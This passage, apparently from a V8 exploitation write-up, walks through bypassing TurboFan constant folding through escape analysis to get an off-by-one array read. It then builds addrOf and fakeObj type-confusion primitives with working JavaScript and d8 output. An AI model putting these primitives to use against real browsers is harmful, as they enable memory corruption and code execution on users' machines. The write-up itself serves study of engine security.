&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;arr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;idx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;idx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xfff&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;idx&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;...&lt;/span&gt;

&lt;span class="c1"&gt;// output&lt;/span&gt;
&lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;d8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;test&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;js&lt;/span&gt;
&lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;8.714350797546e-311&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;center&gt;
    &lt;img style="border-radius: 0.3125em;
    box-shadow: 0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.08);" 
    src="https://i.imgur.com/RMzBo0z.png" width = "400"&gt;
    &lt;br&gt;
    &lt;div style="color:orange; border-bottom: 1px solid #d9d9d9;
    display: inline-block;
    color: #999;
    padding: 2px;"&gt;&lt;i&gt;The constant folding has been bypassed&lt;/i&gt;&lt;/div&gt;
&lt;/center&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;Cool! It works, the array accessed an OOB element successfuly! Technically, we can use it to fulfill our exploitation right now.
However, personally I prefer another elegant approach: Escape Analysis.&lt;/p&gt;
&lt;h3&gt;Escape Analysis&lt;/h3&gt;
&lt;p&gt;Escape analysis is an optimization phase that can be used to remove temporary objects.
e.g., because object "o" is unescaped, the temprary object "o" in the following codes is removed through the escape analysis optimization. &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// before escape analysis&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;y&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// after escape analysis&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Because the escape analysis runs behind the &lt;code&gt;LoadElimination&lt;/code&gt; and &lt;code&gt;MachineOperatorReducer&lt;/code&gt;, we can put a constant into an unescaped object to avoid the constant folding.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;opt&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;arr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;5&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;4&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;...&lt;/span&gt;

&lt;span class="c1"&gt;// output&lt;/span&gt;

&lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;d8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;test&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;js&lt;/span&gt;
&lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1.99567061273097e-310&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, we get an array off-by-one vulnerability successfully.&lt;/p&gt;
&lt;h3&gt;Exploiting the Off-By-One&lt;/h3&gt;
&lt;center&gt;
    &lt;img style="border-radius: 0.3125em;
    box-shadow: 0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.08);" 
    src="https://i.imgur.com/4j64gmd.png" width = "500"&gt;
    &lt;br&gt;
    &lt;div style="color:orange; border-bottom: 1px solid #d9d9d9;
    display: inline-block;
    color: #999;
    padding: 2px;"&gt;&lt;i&gt;The layout of JS objects in V8&lt;/i&gt;&lt;/div&gt;
&lt;/center&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;In &lt;code&gt;V8&lt;/code&gt;, the type of objects is determined by the &lt;code&gt;Map&lt;/code&gt;&lt;sup id="fnref:3"&gt;&lt;a class="footnote-ref" href="#fn:3"&gt;4&lt;/a&gt;&lt;/sup&gt;. As a result, if we can replace a double array's map with a var array, a type confusion array cound be constructed.&lt;/p&gt;
&lt;p&gt;Because &lt;code&gt;map&lt;/code&gt; is the first member of the JS object, by manipulating the heap fengshui, we make two adjacent arraies and try to use the first one to read or write the second one's map. &lt;/p&gt;
&lt;center&gt;
    &lt;img style="border-radius: 0.3125em;
    box-shadow: 0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.08);" 
    src="https://i.imgur.com/bsVawl3.png" width = "500"&gt;
    &lt;br&gt;
    &lt;div style="color:orange; border-bottom: 1px solid #d9d9d9;
    display: inline-block;
    color: #999;
    padding: 2px;"&gt;&lt;i&gt;Faking objects by leveraging the Off-By-One bug&lt;/i&gt;&lt;/div&gt;
&lt;/center&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;Now the baisc idea is that we can construct two OOB array, the first is used to leak information, and the second one is used to fake objects. The firgue shows how to fake objects.&lt;/p&gt;
&lt;h3&gt;Heap Feng Shui&lt;/h3&gt;
&lt;center&gt;
    &lt;img style="border-radius: 0.3125em;
    box-shadow: 0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.08);" 
    src="https://i.imgur.com/NuJ1aBZ.png" width = "250x"&gt;
    &lt;br&gt;
    &lt;div style="color:orange; border-bottom: 1px solid #d9d9d9;
    display: inline-block;
    color: #999;
    padding: 2px;"&gt;&lt;i&gt;The layout of JS array while debugging&lt;/i&gt;&lt;/div&gt;
&lt;/center&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately, after investigating, we noticed the layout of heap is very weird. The backstore always place in the front of the array header. Therefore, we can only read the array's own map object. &lt;/p&gt;
&lt;p&gt;That's fine for leaking double array's map. However, we can not get var array's map using this way, because the map retrieved is encoded as a format of object; and thus, we cannot  know the address of it.&lt;/p&gt;
&lt;p&gt;Fortunately, &lt;code&gt;v8&lt;/code&gt; uses an idependent heap to store &lt;code&gt;Map&lt;/code&gt; objects. the memory layout in this region is relatively stable. Therefore, we can use the address of double map to caculate the jsvar map by leveraing a fixed offset.&lt;/p&gt;
&lt;h3&gt;Constructing Stable Exploitation Primitives&lt;/h3&gt;
&lt;p&gt;Originally, We use the following codes to leak information and fake objects.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;lkrefs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[];&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;leaker&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;lkrefs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;4&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;double_map&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;addrOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;12000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ppp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;leaker&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ppp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;faker&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;lkrefs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;4&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;var_array_map&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;fakeObj&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;12000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ppp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;faker&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ppp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;However, it is very unstable. If we use this primitive too many times, it triggers garbage collection. The fake objects will be corrupted, and the process will crash.&lt;/p&gt;
&lt;p&gt;Hence, we use a fake array to avoid it and get reusebale &lt;code&gt;addrOf&lt;/code&gt; and &lt;code&gt;fakeObj&lt;/code&gt; primitive.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;map&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;c&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{},&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;addrOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x0000100400000000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;//length&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;faked&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;addrOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;fake_arr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;fake_obj&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;faked&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;asDouble&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;

&lt;span class="c1"&gt;// we create a stable primitive&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;addrof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
